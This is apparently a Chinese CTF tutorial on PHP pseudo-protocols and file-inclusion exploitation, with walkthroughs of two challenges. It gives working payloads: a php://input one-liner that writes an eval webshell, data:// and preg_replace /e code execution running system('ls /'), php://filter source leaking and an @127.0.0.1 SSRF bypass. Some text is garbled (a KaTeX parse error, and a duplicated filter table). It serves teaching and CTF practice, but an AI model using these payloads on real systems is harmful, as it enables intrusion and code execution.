PHP之伪协议

文章目录

PHP伪协议

php 复制代码
file:// --- 访问本地文件系统
http:// --- 访问 HTTP(s) 网址
ftp:// --- 访问 FTP(s) URLs
php:// --- 访问各个输入/输出流(I/O streams)
zlib:// --- 压缩流
data:// --- 数据(RFC 2397)
glob:// --- 查找匹配的文件路径模式
phar:// --- PHP 归档
ssh2:// --- Secure Shell 2
rar:// --- RAR
ogg:// --- 音频流
expect:// --- 处理交互式的流

php://协议

作用:访问各个输入/输出流

php://input

用于执行php代码

1.读取POST数据

遇到file_get_contents()时可以利用php://input绕过,然后使用post方式传入数据,将post请求中的数据作为php代码执行

php 复制代码
测试代码
<?php
    echo file_get_contents("php://input");
?>

2.写入木马

php 复制代码
测试代码
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

http://www.exmpale.com/test.php?file=php://input

然后post传入一句话木马,将post请求中的数据作为php代码执行

php 复制代码
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

3.命令执行

php 复制代码
测试代码
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

http://www.exmpale.com/test.php?file=php://input

然后post传入系统执行命令,将post请求中的数据作为php代码执行

php://filter

用于读取源码并需要进行编码输出,不如会被当作php代码执行就看不到源代码内容了

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=index.php
resource=<受过滤的数据流>  //这个参数是必须的
read=<读链的筛选列表>   //该参数可选,可以设定多个过滤器,以管道符(|)分隔

data://协议

可以用来执行PHP代码

php 复制代码
用法
data://text/plain,
data://text/plain;base64,
例如:
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+    //<?php phpinfo();?>的base64编码

file://协议

用于访问本地文件系统,后面接文件的绝对路径和文件名

phar://协议

与zip://协议类似,同样可以访问zip格式压缩包内容

zip:// & bzip2:// & zlib://协议

都可以访问压缩文件中的子文件,且不需要指定后缀名,可以修改为任意后缀

例:

复制代码
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

过滤器

字符串过滤器

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签

转换过滤器

转换过滤器 作用
convert.quoted-printable-encode / convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
convert.base64-encode / convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码

压缩过滤器

压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。

加密过滤器

压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。

题目练习

[BJDCTF 2020]ZJCTF,不过如此

php 复制代码
题目源码:
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>
复制代码
第一层payload:/?text=data://text/pain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
php 复制代码
得到next.php内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace()+/e 存在代码执行漏洞

e模式下preg_replace可以让第二个参数当作代码执行,但是这里的第二个参数不可变。由于这种特殊情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")刚好表达的就是匹配器第一个。

比如传入: ?.={{phpinfo()}} 原句: preg_replace('/(' . re . ')/ei','strtolower("\1")',$str);
会变成preg_replace('/(' .
')/ei','strtolower("\1")',**{KaTeX parse error: Expected 'EOF', got '}' at position 12: {phpinfo()}}̲**); 又因为当_GET传入首字母是非法字符时会把点. 变成下划线_ ,因此要将\.* 换成 \s*

复制代码
payload:
next.php/?\S*=${getFlag()}&cmd=system(%27ls%20/%27);

flag在phpinfo里

复制代码
/next.php/?\S*=${phpinfo()}

BaseCTF[week1]Aura酱的礼物

php 复制代码
 <?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); PD9waHAgLy8gQmFzZUNURntiNzdiMDMxMi0zOGQ4LTQwZmQtYTkwMi04NjFlNGZjZjRlODV9ICBBdXJhIOmFseacieaLv+WIsOS4gOihgOWQl++8nwo=

第一层使用data伪协议,这里检查的是文件内容是否等于,不是变量的值是否等于

复制代码
pen=data://plain/text,Aura

第二层检测目标字符串是否在challenge的开头

复制代码
challenge=http://jasmineaura.github.io

的file_get_contents可以用于发起http请求,获取远程资源的内容。

这里使用 @ 符号。 @ 是虚拟域名,在浏览器输入之后浏览器会识别@后面的域名,前面则是域名的配置信息。

在challenge尾部加上@127.0.0.1,这样file_gets_contents获取的就是当前页面的内容,刚好包含目标字符串

第三层使用php://filter伪协议读flag即可

复制代码
gift=php://filter/read=convert.base64-encode/resource=flag.php

payload:

复制代码
pen=data://text/plain;base64,QXVyYQ==&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/read=convert.base64-encode/resource=flag.php
相关推荐
阿巴斯甜12 小时前
Android 报错:Zip file '/Users/lyy/develop/repoAndroidLapp/l-app-android-ble/app/bu
android
Kapaseker12 小时前
实战 Compose 中的 IntrinsicSize
android·kotlin
xq952713 小时前
Andorid Google 登录接入文档
android
黄林晴15 小时前
告别 Modifier 地狱,Compose 样式系统要变天了
android·android jetpack
BingoGo15 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack15 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
冬奇Lab1 天前
Android触摸事件分发、手势识别与输入优化实战
android·源码阅读
城东米粉儿1 天前
Android MediaPlayer 笔记
android
Jony_1 天前
Android 启动优化方案
android
阿巴斯甜1 天前
Android studio 报错:Cause: error=86, Bad CPU type in executable
android